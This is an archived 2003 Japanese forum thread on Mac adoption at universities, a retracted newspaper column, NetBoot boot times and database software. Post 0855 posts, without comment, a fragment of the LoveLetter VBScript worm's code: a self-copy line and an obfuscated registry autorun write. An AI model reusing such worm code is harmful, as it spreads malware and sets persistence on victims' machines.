03/10/07 13:02ID:hmYmxCaw大丈夫、WindowsUserがやるかわりに、M$がやってるから。
0653名称未設定
03/10/07 13:09ID:qF/algnlずいぶんと影響力ないんだな、M$の圧力ってｗ
0654名称未設定
03/10/07 13:21ID:tQtJX+sFhttp://www.google.co.jp/search?q=cache:yiFLTbfMa8QJ:www.asahi.com/column/aic/Tue/d_takuki/20030930.html+&hl=ja&ie=UTF-8&inlang=ja
0655名称未設定
03/10/07 13:22ID:LM+INuSeあんな短期間でもキャッシュ残してたか。
0656名称未設定
03/10/07 13:23ID:QhC6fEs6ただ、猛省しているのなら自戒の意味を込めてあの恥ずかしい記事を自分のサイトで晒して欲しいw
0657名称未設定
03/10/07 13:24ID:nfgvBupm悪魔的・悪魔性なんて単語は小説でも結構使われてるが。
マカーは本を読まなさそうだな。
0658名称未設定
03/10/07 13:25ID:egbSulfhhttp://tanupack.com/
http://komainu.net/
http://takuki.com/
たぶん、サーバは同じなんだろね。
0661名称未設定
03/10/07 13:30ID:QhC6fEs60662名称未設定
03/10/07 13:31ID:cfMj5xC2こなれてくる頃…かな。
0664名称未設定
03/10/07 13:35ID:JCeCNDF3鐸木氏がキレずに普通に謝罪文章書いたのが面白くないんだろうな
こういうのを祭りバカっていうんだろうな…ｗ
そんなことより
AppleのMac OS X 10.2.8アップデータの件について
叩いたほうがいいと思うぞ
いちおう下記の文章で責任回避してるけどさ…
要するに強力なバグ仕込んどいてやるからな、ベイビー
って感じでしょうかね？
> 責任制限：
> ご利用前にアップルプログラム使用許諾契約条項をよくお読みください。
>
> 当ソフトウエアの使用、またはそれを使用できなかったことにより生じた派生的、
> 付随的または間接的損害（営業上の利益の損失、業務の中断、
> 営業情報の喪失などによる損害を含む）については、
> たとえそのような損害の発生や第三者からの賠償請求の可能性があることについて予め知らされた場合でも、
> 一切責任を負いません。このファイルに関する、米国Apple Computer, Inc.、
> アップルコンピュータ株式会社、並びに弊社正規販売代理店、
> 正規サービスプロバイダへのお問い合わせはご遠慮ください。
0665名称未設定
03/10/07 13:37ID:QhC6fEs6明らかにスレ違いですよ
0666名称未設定
03/10/07 13:38ID:Nyv16Q95このコラムと似たようなレベルの事をやってたなあ・・・
0667名称未設定
03/10/07 13:41ID:QhC6fEs6思っていたんだけど、スワップと/tmpだったらインストールの必要がないから
結局iMacをそっくり置き換えるだけでいいわけか。
完全なディスクレスよりは故障率が上がるとはいえ、手間はかなり減るね。
0670名称未設定
03/10/07 13:46ID:OVGTRUkpかなり潔い文章でまあまあ好感は持てるけどさ。
0671名称未設定
03/10/07 13:48ID:ltpJ9+Vs撤回したってことだろ。そう書いているし。まあ、それでいいんでないの。
0672名称未設定
03/10/07 13:51ID:T3ALqac6MS、予想上回る利益計上
http://www.zdnet.co.jp/news/0210/18/nebt_05.html
0673名称未設定
03/10/07 13:51ID:JCeCNDF3イーサネット潰されてもマシだとさ
MS責めてApple擁護にもほどがあるよなぁ…
そーゆーマカのアフォなとこが好きなんだけどさｗ
0675名称未設定
03/10/07 13:58ID:PCmUdB9xおまえ本物のアホだろ。使用許諾のないアップデーターなんてあんのか？
【Windows XP Service Pack 1 と Service Pack 1a の リリース ノート】
＞Microsoft Corporation、その関連会社 及びこれらの者の供給者は、
直接的、間接的、偶発的、結果的損害、逸失利益、懲罰的損害、
または特別損害を含む全ての損害に対して、状況のいかんを問わず一切責任を負いません。
ウィソの、例のパッチが効かなかった騒動はどうなった？ｗ
0676名称未設定
03/10/07 14:04ID:5D7+JNzi高卒を追い払うために大学話でも再開するか？
0677名称未設定
03/10/07 14:05ID:PCmUdB9x究極のセキュリティアップデートで
穴が放置でもマシだとさ
Apple責めてMS擁護にもほどがあるよなぁ…
そーゆードザのアフォなとこが好きなんだけどさｗ
0678名称未設定
03/10/07 14:05ID:qit7tFOK余計なレスつけるからドザまるだしになっちまう
MSのインスコ前の注意書き見れや
模前らもいい加減ネチョネチョキモオタじゃねーんだからサクッとしろやー？
0679名称未設定
03/10/07 14:06ID:lNEEV9wQ>究極のセキュリティアップデートで
>イーサネット潰されてもマシだとさ
一部のマシンだけだろ。そんなのWinにもあるだろうが。
セキュリティアップデートでシステム壊されるやつも「一部」いただろ。
>MS責めてApple擁護にもほどがあるよなぁ…
わざわざMac板まで来て、Apple批判してる人が言えることですかね？
お前がMS擁護してるようにしか見えんよ。
0680名称未設定
03/10/07 14:08ID:JCeCNDF3このたびはApple謹製ウイルスをお楽しみいただけたでしょうか？
かしこ
0681名称未設定
03/10/07 14:09ID:QhC6fEs60683名称未設定
03/10/07 14:10ID:MAb4rgas0684名称未設定
03/10/07 14:11ID:hOV4+7dn0685名称未設定
03/10/07 14:11ID:QhC6fEs6冷静に話すスレ2でそういう環境を立ててる一を見かけました。まだdatオチしてないかと。
0687名称未設定
03/10/07 14:14ID:/x9O3mh3> このたびはApple謹製ウイルスをお楽しみいただけたでしょうか？
Webブラウジングが激しく高速・快適になりますたが何か?
0689名称未設定
03/10/07 14:19ID:5D7+JNzi0690名称未設定
03/10/07 14:23ID:JCeCNDF3マジ？
試してみようかなぁ。でも怖いなぁ
やっぱもう少し様子見よっと
っつーかねぇ怖いよAppleのウプデータン
だってみんなAppleのアップデートなら警戒なしで入れるでしょ？
もう、ファイヤーウォールとかアンチウイルスとか全く寄せ付けない
しかもOSにデフォルトで入ってるソフトウェアアップデートのおかげで
カモン、アップルウイルス状態。怖すぎ…
0691名称未設定
03/10/07 14:26ID:bFiEo9kI0692名称未設定
03/10/07 14:29ID:bFiEo9kI0693名称未設定
03/10/07 14:31ID:cStpXpI+なーーんて一応2ch風に言っとくけど、まだ試行錯誤の連続さね。でも動いてるよ。
0696名称未設定
03/10/07 14:36ID:QhC6fEs6まぁ、ちょっとアップルのアップデートを信用しすぎてた感はあるよな。
やはりちょっと様子を見るのが吉ということで。
ていうかみんなスレ違いだってば
0698名称未設定
03/10/07 14:40ID:tQtJX+sF拝啓 → 敬具
でいいいのかな？ ドザの人
0699名称未設定
03/10/07 14:42ID:/h12q+ag釜ードザか
0700名称未設定
03/10/07 14:42ID:egbSulfh0701名称未設定
03/10/07 14:53ID:DnIf6YSD10.2の方が枯れてるし、信頼性という面では高いと思うんだが。
0702名称未設定
03/10/07 14:53ID:cxQYvNd50703名称未設定
03/10/07 14:54ID:QhC6fEs6古いバージョンにはセキュリティーアップデートが出ないからw
0704名称未設定
03/10/07 14:56ID:kW3n5cyZおまえドサだろ、Macさわったこともない奴が
口挟むな
0705名称未設定
03/10/07 14:58ID:tQtJX+sF10.3→10.4は少しペースダウンしないのかな？
この辺りはMSの出方次第なのか
セキュリティーアップデートの保証期限が短いのは
確かに問題だけど。
0706名称未設定
03/10/07 14:58ID:QhC6fEs6mac使ってるよ。10.2に出てて10.1に出てないセキュリティーアップデートがたくさんあるじゃん。
0707名称未設定
03/10/07 14:58ID:egbSulfh10.2のままだと、ソフトもアップできなくなる。OSも随時アプでないかい？
0708名称未設定
03/10/07 15:01ID:9oFipFxlドザがキモイ。
0709名称未設定
03/10/07 15:02ID:e6J0gnzbのまマカーだろ
0710名称未設定
03/10/07 15:04ID:QhC6fEs6みんな狸コラムに粘着していただけですw
0711名称未設定
03/10/07 15:05ID:PCmUdB9xもしかしたら、出ていないのではなく、必要ないからではないのか？
OSのバージョンがあがればカーネルのバージョンも変わるだろ
穴を放置するとは思えないんだが
0713名称未設定
03/10/07 15:15ID:Or4GrDX3もうやめれ
まともなら今となっては誰もしたいとは思わない
まあ粘着野郎はどの世界にもいるから勝手にやってくれって感じ
総じてマカーって言われるのが残念だけど仕方ない、世の常。
0714名称未設定
03/10/07 15:17ID:P2mwORIvの10.1のセキュリティパッチはまだですか？ ＞あぽー。
御布施無しではセキュリティホールも塞がないﾂﾓﾘですか？
0715名称未設定
03/10/07 15:23ID:bFiEo9kI>NDA（秘密保持契約）を結んでいただいて、システム設計を検討していただきました。
って言ってるんだから、これはまずPantherありきで決めたんじゃないの？
0716名称未設定
03/10/07 15:23ID:1VbwRJUa0717名称未設定
03/10/07 15:24ID:fwnWG/zPドザ公、いつの記事だか頑張って見つけてきたな。
やっと見つけて得意げな顔が霊能者じゃないおいらにも見えるよw
Winの脆弱性やセキュリティーホールの記事出したらこのスレ埋まっちまうぞ？
0718名称未設定
03/10/07 15:26ID:kib/d+OW彼がなぜコラムを削除したり、謝罪しなくてはならないのかが
なんら書かれていないのが。
長い文章になっているもの後半は中身が無いと言って良いし。
少なくてもOS XはUNIXベースであると言うことぐらいは
書いてないと、Macユーザ以外はわからないっしょ。
0719名称未設定
03/10/07 15:30ID:JCeCNDF3Macの宣伝もするﾆﾀﾞ
0720名称未設定
03/10/07 15:46ID:cStpXpI+Macユーザでさえ分かってない人多数と思われ。
UNIXベースだと書いたところでどうなるものでもない罠。
もう、やめようぜ。。。生産的／建設的じゃないぞ。
0721名称未設定
03/10/07 15:55ID:/Qg7KpAQ生産的／建設的にまとめると、
ド ザ は世界共通の愛称です。
0722名称未設定
03/10/07 15:58ID:C0PwwQkk0723名称未設定
03/10/07 16:03ID:fwnWG/zP0724名称未設定
03/10/07 16:03ID:cStpXpI+サーバG4/400MHz, クライアントG3 iMac 350/600MHz混在, 100Base-Tの条件です．
一斉に起動させる操作は，Apple Remote Desktopで行いました．
起動時間は，ジャーんと鳴ってからログインウィンドウが出るまでの時間です．結果は，
クライアント台数：起動時間（秒）
1台：90秒
12台：150秒
24台：230秒
36台：310秒
1severあたり25台とすると、まぁ最悪でも４分で立ち上がることになるね。
実際は同時起動しなければならないケースってメンテ以外ではあんまりないだろうしなんとか我慢の範囲とみる。
漏れもARD使ってクライアントの制御してるが、東大はどうするんだろ。VNC?
それとも、、人力？（ｗ
それから各クライアントはDHCP機能をもったNetBoot Server (Xserve)の下の
プライベート空間に配置するのかな？
知ってる香具師いたら教えれ。
0725名称未設定
03/10/07 16:11ID:1rBTDWmaコラムを受け取って内容を確認する人が朝日にいるわけだろ？
そいつが指摘してやればいいわけだ。
さすがに鐸木がデータ送信して自動アップなんてことはなかろう。
これは朝日の責任でもあるぞ。
0726名称未設定
03/10/07 16:11ID:7BDxU10oG4 400でその数字たたき出すのって、かなりすごいと思う。
正直ﾋﾞｸｰﾘ
中古でも十分NetBoot使えそう。
0727名称未設定
03/10/07 16:13ID:cStpXpI+NetBootで起動すると、bootイメージのロード終わるまでの間、地球アイコンが
クルクル回るんだよね。それから、ブート中はお馴染みのグレー林檎が表示
されるんだが、このアイコン変えるのどうしたらいいか知らないか？
通常起動時のアイコン変えるのはできるんだが、そのシステムをNetBoot用イメージに
仕立てると無効になっちまう。。
＃って、漏れのカキコはスレ違いかな。だったら他逝きます。
0729名称未設定
03/10/07 16:14ID:ci+IL8vX0730名称未設定
03/10/07 16:17ID:7BDxU10o正直、漏れのはG4 400でOSX Serverなんだがw、NetBootはまだやってないから
地球アイコンは初耳なのよ。
アイコンってデスクトップに表示されるでかいグレーりんごのことかい？
0732名称未設定
03/10/07 16:23ID:cStpXpI+このデータは僕の実験ではありませんので、、信じるしかないですが。
僕が実際にやった（やってる）ケースだと、
PowerMacG4/867+MacOSXServer10.2.6 で iMacG3/400を５台を
用意ドン！でNetBootさせて、全てのマシンにログインパネル出終わるのに
２分くらいだったね。もちろんネットの帯域幅や込み具合で変わってくるけど。
（台数少ないので、Serverもクライアントも同じセグメントにぶら下げてます）
0733名称未設定
03/10/07 16:29ID:fZWABi8rそれこそ朝日の怠慢ww
0734名称未設定
03/10/07 16:32ID:cStpXpI+正確に言うと、電源起動後まずはNetBootイメージを探しにいく。そのときは
四角いボタンの中にカラーの地球 のアイコンが点滅。イメージが見つかると
tftpでbooterのロード。そのときはグレーのひとまわり小さめの地球アイコンが
くるくる回る。それが終わるとboot開始。このときは通常のでかめのグレー
アポーアイコンが表示されます。 このアポーアイコンの差し替えっす。
0735名称未設定
03/10/07 16:42ID:LgpqCJn7http://versiontracker.com/mp/new_search.m?productDB=mac&mode=
Quick&OS_Filter=MacOSX&search=boot+image&x=0&y=0
こんなの出てきた。netbootに効くかどうか分かんないけどね
0738名称未設定
03/10/07 16:52ID:JxqFjCtmいやはや、こりゃとんでもないコラムだね┐(´д｀)┌
もっとも、β版からOS X使ってる人間としては、しょせん世間のMacへの
関心と認識はこの程度なんだなと、チト寂しいが（ただし曲がりなりにも
ライターと名乗る人種が、世間の一般人と同じ知識じゃ大問題だが）。
漏れなりに解読すれば、彼の言う『悪魔性』ってのは要するにMacユーザー
に対する無意識の反感とか、テキスト変換もできないコンピュータ音痴の、
文系Macユーザーへの苛つきや軽蔑、見下しの心情って事だろう。
彼の心の奥底には「Macなんて、拡張子の意味もわからないバカを量産する
低能向けのコンピュータ」って認識があるんだろうな。まぁ、漏れもバイナリ
そのまんまで「開けねぇぞｺﾞﾙｧ！」って怒りのｳｨﾝユーザーの電話を貰った事
あるから、気持ちはわかるけど。
で、今回の東大導入にかこつけて、日頃のMacユーザーへの怒りや鬱憤を晴ら
そうとしたら、返り討ちにあってしまったと（笑）。自分の周辺の限定された
Macユーザーを一般化し、私怨を公憤にすり替えるからこういう恥をかくんだな。
文句はその人らに直接言えっての。
0739名称未設定
03/10/07 17:15ID:YUPhS+eqユーザーならそれが自然の感想だよな
実は最近の物書きはだんだんこの傾向に陥る。
文献から知識を得ていたのがネットに変わって、
なお信ぴょう性の検証もないまま画面の中だけで
ことが進んで行く。
漏れ自身ことあるたび頭で両面から物事見るように努めてるけど、
やっぱそんな意志だけじゃ足りない。
ネットから現場に出て体験しないと、事の本質が見抜けない。
だから学者の学説ってのは実務で検証して初めて生きるもん
だと思うよ。する術もない学問もあるが。
身を以て経験してみるってのが何にもかえがたい財産だと思うな。
てなわけで、失敗は成功の元。経験をマジ良い方向にいかしてほすい。
0740名称未設定
03/10/07 17:15ID:25mjttj20741名称未設定
03/10/07 17:29ID:i9sC3AeQむかついて逆ギレしそうになり、そーゆー自分にびっくり」てなことの
世代的表現だと思いますう。
0742名称未設定
03/10/07 17:33ID:TPdUNVYDおおお！こんなものがあるんだね。さんくす！感謝しる。
0743名称未設定
03/10/07 17:34ID:QK+x0CNc741の文章を和訳しなさい（100点/30分）
注：翻訳機は使わないこと
0744名称未設定
03/10/07 17:45ID:TPdUNVYDとおもったが、、、NetBootでは利かないっすね。通常のboot時のみ。
0745名称未設定
03/10/07 17:53ID:tECRoUHg0747名称未設定
03/10/07 18:12ID:TPdUNVYDOSXはもちろんRedHatもSolarisもWinも使ってる漏れは、恥的かも。（w
>>746
いえいえ、、情報さんくすですた。
0748名称未設定
03/10/07 18:15ID:F+lfVbAO東大東大ってあっちこっちで書きまくってるアホウいるんかな。。
0751名称未設定
03/10/07 18:42ID:LhGIDbwxよく頑張ったねえ、あとは「MacOSXはRootlessが標準」というのさえ知ってれば
完璧だったのにねえ。ｗ
自分でRootの穴を開けてれば引っ掛かるってだけだろ。
0752名称未設定
03/10/07 19:04ID:osnln7z30753名称未設定
03/10/07 19:19ID:/x9O3mh3ちなみに、>>714の後に「リモートからもrootを取れる」という穴が見つかってたんだな。
あんまり知られてないみたいだけど。“Security Update 2003-08-14”って奴でfix。
http://til.info.apple.co.jp/cgi-bin/WebObjects/TechInfo.woa/wa/showTIL?id=120239
バージョンアップの話が出てるが、実際10.4(?)へのアップグレードはどーするんだろ。
まあまともに買っても1000万円くらいだし、(10.2アカデミックは@8500円)
5ライセンスの「ファミリーパック」が22800円である事を考えると、OS X Server代だけで
OKとしてしまうかもしれないな。
0754名称未設定
03/10/07 19:25ID:VULz4CSW>このデータは僕の実験ではありませんので、、信じるしかないですが。
そのNetBoot測定データのそーすハケーン。
http://cherry.ele.eng.tamagawa.ac.jp/mac_lab/netboot.html
0756名称未設定
03/10/07 19:31ID:bdxGv+CGhttp://www.google.co.jp/search?q=cache:yiFLTbfMa8QJ:www.asahi.com/column/aic/Tue/d_takuki/20030930.html+&hl=ja&ie=UTF-8&inlang=ja
それからこれ読め。
http://www.asahi.com/column/aic/Tue/d_takuki/20031007.html
0757名称未設定
03/10/07 19:44ID:CmQF1aiyここも読め
0758名称未設定
03/10/07 19:57ID:bdxGv+CG0760名称未設定
03/10/07 20:50ID:EiweMlsc友達の子供が幼稚部に行ってるけど、
iMacが大量にあるって話してたよ。
0762名称未設定
03/10/07 20:57ID:6Q3BcaILFreeBSDの一面を持つ、の意
0763名称未設定
03/10/07 21:07ID:/x9O3mh3ttp://www.edt.tamagawa.ed.jp/faculty/horikane/2001_6/keyakia/lime/hyoushi.html
のソース。
<HTML>
<HEAD>
<META NAME="GENERATOR" CONTENT="Adobe PageMill 3.0J Mac">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=x-sjis">
<TITLE>表紙</TITLE>
</HEAD>
Macオンリーでは無さそうだけど、とりあえず小学校はMacメインっぽい。
0764名称未設定
03/10/07 21:10ID:wMR1k/Lpマックは知らないからわかんない、だからいらない、だそうだ
反論不能で、とほほです。
小学校におけるマック普及の道は閉ざされているんでしょうなあ
0765名称未設定
03/10/07 21:24ID:JkWt5MEYhttp://www.twcu.ac.jp/cis/index.html
東京女子大学では，2003年９月から教育用コンピュータ・システムを一新し，
Macintosh (iMac) をクライアントとした環境の提供を開始しました。
新システムにあわせたウェブ・ページの更新は随時行っていきますので，
今しばらくお待 ちください。
誰かスレを・・・(;´Д`) ﾊｧﾊｧ
0766名称未設定
03/10/07 21:30ID:P2mwORIv教育上よろしくないわな。
0767名称未設定
03/10/07 21:35ID:qF/algnl0769名称未設定
03/10/07 21:42ID:JkWt5MEY学校のパソコンがMacになった！やった～！
しかもＯＳ�！めちゃめちゃ使いやすい！
2003/9/22(月)ﾊ No.16
0771名称未設定
03/10/07 21:52ID:I9GaRAnn0773名称未設定
03/10/07 22:00ID:KdWYFEtN洗脳効果を期待するしか、マックの行く末を語れないのか？
漏れはまず、Access程度のDBが欲しい
Accessといって、端から馬鹿にしちゃいけない
間違いなく、全ての面においてマック用は代替品が無いのが現実
0775名称未設定
03/10/07 22:05ID:6NTK7oUIすべてにおいてFileMaker Proの方が上。
MSはがあるからMac版作らなかったらしい。
（なんかMSの社員がインタビューで言ってた）
0776名称未設定
03/10/07 22:05ID:luvFtagl> 漏れはまず、Access程度のDBが欲しい
> Accessといって、端から馬鹿にしちゃいけない
> 間違いなく、全ての面においてマック用は代替品が無いのが現実
PostgreSQL,My SQL...RDBが使いこなせないっていうならFileMakerでもいいんじゃない？
0777名称未設定
03/10/07 22:06ID:NJ/omSyf競争力が無いと判断してMac版が開発されなかった訳だが。
http://www.filemaker.co.jp/
0778名称未設定
03/10/07 22:06ID:6NTK7oUI×MSはがあるからMac版作らなかったらしい。
○MSはFMPがあるからMac版作らなかったらしい。
0779名称未設定
03/10/07 22:08ID:1VbwRJUaでた～ お得意のアプリ攻撃。
OSじゃ勝てないからアプリで勝負なのか(w
んじゃ、こっちははFileMakerで勝負じゃ。
間違いなくAccessより使いやすいし応用が効く。
0780名称未設定
03/10/07 22:10ID:ihlsiRuLなんか、話には聞いてたんですけど、今日情報処理室行ったら一面まっくだらけになってたんですわ
首がね、くいって曲がって自分にちょうどいい高さにできるやつ
でもテーブル（？机？）の奥行きがそんなになくて、
調節しようとすると自分に接近しすぎなカンジに
逆に目疲れるわ
なんかもう思ったよりは普通に使えたんだけど、
１人であれこれいじって遊んでたらチャイムが鳴って（３限の）
あ、鳴っちゃったけどまーいっかー
とか思ってたら知らない授業が始まっちまいました
やっべ
慌ててログアウトしようと思うんだが、どうすればできるのかわからない
どうしよ どうしよ
そんなことしてるうちにあたしにもシラバスが配られる
違う あたしはこの授業登録してないの
なんとかログアウト完了
逃げるように教室を後にする
そのとき後ろから先生らしき人の声
「あら あの人違ったのね」
そうだよ！！！
恥ずかしいからそんなことわざわざ言わないで！！！！
（・∀・）ｲｲ!
0781名称未設定
03/10/07 22:13ID:KdWYFEtN※ 当プログラムはWindows専用です。Macintoshではご使用になれません。
こんな表示ばっかなんですけど
競争力が無いから参入しないねぇ
妄言戯言もここに尽きてる
0784名称未設定
03/10/07 22:18ID:mD48KbIa0785名称未設定
03/10/07 22:18ID:qF/algnlColorSyncって、画面の歪みまで補正できるのかｗｽｹﾞｰｗｗｗｗｗｗ
0786名称未設定
03/10/07 22:18ID:i9sC3AeQ空振りまくるという好例だなあ>>773,781
0787名称未設定
03/10/07 22:19ID:6NTK7oUI0788名称未設定
03/10/07 22:22ID:i9sC3AeQちなみにMac版IEで何の問題もなく動作するよ>iiyamaのページ
つかこれプログラムじゃねーわな。
0789名称未設定
03/10/07 22:22ID:BYVSrtAG0790名称未設定
03/10/07 22:24ID:L8oOtbBDiiymaかよ
MacユーザーはTOTOKU、NANAO、Apple Cinema Display
の大体この三社のモニターくらいしか使わないよ
iiyamaなんて三流メーカーのモニターなんてねー・・・
0791名称未設定
03/10/07 22:24ID:i9sC3AeQそもそもこんな調節機構はいらないんだけどね…。
0792名称未設定
03/10/07 22:25ID:9oFipFxl粘着するドザは哀れだね。
0794名称未設定
03/10/07 22:26ID:i9sC3AeQいやiiyamaをバカにしたもんでもないよ…。
C/Pはものすごく優れてるし。まあ>>781の
出してきたページが悪かったと。
>>789
ｹｺｰﾝしよう
0795名称未設定
03/10/07 22:26ID:6NTK7oUI0796名称未設定
03/10/07 22:26ID:vd+saTHHブサヨはドザの方が多いんじゃないかと思うが？
役所にペテン申請書出す時もWinの方が都合いいんだろ？
0797名称未設定
03/10/07 22:28ID:i9sC3AeQ0798名称未設定
03/10/07 22:31ID:KdWYFEtNほんとに、ほんとに弄りがいがある奴らだよ
0799名称未設定
03/10/07 22:31ID:+94p/UWC致命的なバグ出しておいて、「業務ユースのアプリではありません」って
MSが言い訳した伝説のDBだよね。
0802名称未設定
03/10/07 22:34ID:l9isRRnx0803名称未設定
03/10/07 22:36ID:qF/algnl教育市場で強い(大本営発表)ってのがあるじゃん。それってアカ教師に好かれてるって事だろｗ
0804名称未設定
03/10/07 22:37ID:8vLp2xJ60807名称未設定
03/10/07 22:39ID:SMkSW8bRそっか、、半年前に話したのは玉川大の人だったのねん(^^)
東女関係の掲示板に９月初めの頃、さり気なくNetBootMacのこと聞いてみたが
反応はほとんどなしだったな。。
0808名称未設定
03/10/07 22:41ID:9oFipFxl人間的に哀れなドザが必死でググってるだけなんだろう。
たぶん。
0809名称未設定
03/10/07 22:43ID:I/UzBlRXおそるおそる書いてるんだろうなw＞アカ
0810名称未設定
03/10/07 22:45ID:6NTK7oUI確かに強力だが難しいんだよね、あれ…
0811名称未設定
03/10/07 22:48ID:SMkSW8bR難しいことしようとすれば難しいが、、手軽に使うこともできるよ。
懐は広く、そして深いDBだよ。アカデミックユーザは無料ダウンロードできる！！
0812名称未設定
03/10/07 23:05ID:KdWYFEtN藻前らどんどん退化してないか？
0813名称未設定
03/10/07 23:10ID:I4ekogQO0814名称未設定
03/10/07 23:10ID:cVjIgObyXserve が G5 になる可能性も出てきた罠。
0815名称未設定
03/10/07 23:15ID:seVLuX1n幼稚園児が使えて、東大生までお勉強でつかえるという守備範囲の広い
こんぴゅーたってとってもすごいことだとおもう。
0816名称未設定
03/10/07 23:23ID:I4ekogQOhttp://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
に、具体的スペックがないのは、暗にG5を示唆してるように思うね。正式発表以前に
書くのを止められてるんでは？
Apple Readies G5-based XServes
Oct-06-2003
10:15 PM
Apple has been preparing a set of G5-based XServes for mass-markets. According to sources, the units were being delayed until the release of Mac OS X
10.3 Panther Server.
With Panther Server reaching the Gold Master status last week, sources -- citing Apple Marketing -- claim that a release is now imminent. Additionally, an
unconfirmed report projects a possible announcement this week, though AppleInsider sources could not provide any confirmation at this time.
0817名称未設定
03/10/07 23:35ID:cVjIgObyそうなんだよ。
それと、お宝に出てた Apple Insider のこの記事で XServe G5 発表準備中だっていうから。
http://forums.appleinsider.com/showthread.php?s=&threadid=31731
で、その勢いで東大も XServeG5 でクラスター組んだりしたら、日本中いろんなところに利用され出すんじゃないかというヨカーンがする。
0818名称未設定
03/10/07 23:41ID:SMkSW8bR仕様書には具体的製品名や発表前のものは書けないからねぇ。
東大のXserveはクラスター組まないでしょ。
0819名称未設定
03/10/07 23:57ID:0qyw5itB0820名称未設定
03/10/08 00:04ID:jFBre6GZ0821名称未設定
03/10/08 00:15ID:gO2TYX4F東京%大学は基本的にmacです。
なぜなら高学歴だから。
0823名称未設定
03/10/08 00:46ID:660ChaTg漏れも保存したw
XServe G5はたぶん出るんだろうが、廃熱は大丈夫なんだろうか?
PMG5があれほど廃熱に凝った形になってるのに、XServeは現状通り1Uに納められるの?
0825名称未設定
03/10/08 01:03ID:TrJeJw5v非対応のページって、対応してない方が問題なんじゃ…
XServe G5は、appleもさっさと出したいんじゃないかな。
G5が發表された直後からXServeの売行きがとまったって、
記事が出されていたと記憶してる。
0826名称未設定
03/10/08 01:04ID:/5nWxoG/しばらくの間は、XServe G4 も残しておいて、2U でもいいから Dual G5 2Ghz のパワーが欲しい人向けに販売していくんじゃないかと。
0827名称未設定
03/10/08 01:05ID:660ChaTg俺も正直そうなるんじゃないかと普通に心配しているw
0828名称未設定
03/10/08 01:06ID:/5nWxoG/0829名称未設定
03/10/08 01:08ID:/QSBAPkI発熱少ないと思うんだが、Xeonで1UのなんていっぱいあるんだからG5でも大丈夫なんで
ねえの？と思ったり。
0830名称未設定
03/10/08 01:09ID:/5nWxoG/それが結構決め手になってたりして。（NDAだろうけど）
0831名称未設定
03/10/08 01:09ID:XFqgcbvq0832げてもの
03/10/08 01:16ID:a+63U1lN爆音でよければ放熱板は小さくて済みますよ。
0833名称未設定
03/10/08 01:17ID:F+Nev29Uファンをぶん回せばいいんじゃないの？
0834名称未設定
03/10/08 01:17ID:F+Nev29U0835名称未設定
03/10/08 01:18ID:660ChaTg逆に言えばXServeG5が1Uで出てくるなら
あのPMG5のデザインは「静音にこだわった結果だ」ということが証明されるわけか。
0838名称未設定
03/10/08 03:40ID:aiRSs7C4だからサーバーは爆音でいいんだって。
0839名称未設定
03/10/08 04:50ID:+vLo4PZl0840名称未設定
03/10/08 06:07ID:XaEmlivPリナックスならわかる。話題性あるしな。
0841名称未設定
03/10/08 06:11ID:7lRTKPfG話し変わるけど、この"…"って、Winマシンでも
文字化けせずに見えてるのかな？？
0842名称未設定
03/10/08 06:50ID:ySO2nPpJ0844名称未設定
03/10/08 07:29ID:rv9Bu/Wt結構堅牢で
結構unixで
結構商用アプリがあって
結構使いやすくて
結構管理しやすくて
そんで既知のウイルスはゼロ
あとはコストパフォーマンスが良ければなぁ。
G5 2GHz Dualは悪くないけど、トップエンドだけというのは…
0845名称未設定
03/10/08 07:37ID:sqXXFftwOracle 10gでサーバー、正式サポートですね。
http://www.oracle.co.jp/grid/endorse/11.html
0847名称未設定
03/10/08 07:50ID:YaP18vWO>なんで急にマックが方々で導入されるんだ？。
>リナックスならわかる。話題性あるしな。
話題性だけで導入してもしゃあないでしょ。
0848名称未設定
03/10/08 08:05ID:B9c7n1lC0850名称未設定
03/10/08 09:39ID:hobMfFDw0851名称未設定
03/10/08 09:59ID:m5LvbQfrAccessなんてうんこじゃん、使えねえ。
OfficeのDB補完付録のような機能。
MSってのは自分のプラットフォーム守るのが基本だから、ないのが当然。
つか、
＞間違いなく、全ての面においてマック用は代替品が無いのが現実
アップルから独立したFileMakerPro知らねーのか？
NHKだって導入してる。
しかも完全マルチプラットフォーム
使ってみろよ、Accessが糞以下なのがわからよ。
0853名称未設定
03/10/08 11:16ID:znvXjXRXOracleもいいけどね。 要するに適材適所で選択すればいいだけのこと。
エクセルのDB的機能で十分なところに高価で高機能かつややこしい;-)DB持ってきてもしょうがない罠
個人ユース+ならFMP～4Dあたりがジャストスケールと思ったまでです。
(PostgresやMySQLもあるけどね）
0854名称未設定
03/10/08 11:20ID:QERLO4kLFileMakerProなんてマイナーすぎて誰も使ってない。
小中規模データベースの実績など無い。
というか使えるシロモノではない。
0855名称未設定
03/10/08 11:23ID:XvK8Kykcc.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
0856名称未設定
03/10/08 11:30ID:DFTydU5Aほんとだ誰も使ってないよな
ttp://www.filemaker.co.jp/solutions/customer_stories.html
0857名称未設定
03/10/08 11:30ID:muBVXH5n「誰も」使ってないようなソフトが今まで続くかよ…
ていうか、「マイナーすぎる」ってどこの話？
ttp://www.filemaker.co.jp/solutions/customer_stories.html
0859名称未設定
03/10/08 11:34ID:0hZxNSxDのリンク先…
＞ 株式会社 ファンケル 中央研究所
＞「肌に優しい化粧品の調査・開発やお客様への対応が、より迅速になりました。」
美しいお肌はFMPのお陰なんだよっ！
0863名称未設定
03/10/08 11:44ID:znvXjXRX0864名称未設定
03/10/08 11:44ID:PsWVdVGJそんなことはない。
いまごろ、リストに自分の会社の名前を発見して、自分の
人生をみつめなおすきっかけにしているかもしれないし。
0867名称未設定
03/10/08 12:05ID:viTSCu8gｵｻｰﾝかな？
別にいいけど、Winと同時にMacもやると両方が見えてくるよ？
アンチマクで触るのも嫌なんだろうけど、勉強しないと化石になる世界だから。
といいつつ、常に勉強が必要な因果な業界。
将来、根気や目が衰えたらどーすんだろ、漏れ。。ｼｮﾎﾞｨｰﾝ
0868名称未設定
03/10/08 12:16ID:Or1/nKOM0869名称未設定
03/10/08 12:17ID:iZkQYllRもっと他にやることあるだろ（笑
0873名称未設定
03/10/08 13:00ID:znvXjXRXもっと他にやること=とりあえずWindowsUpdateだな。
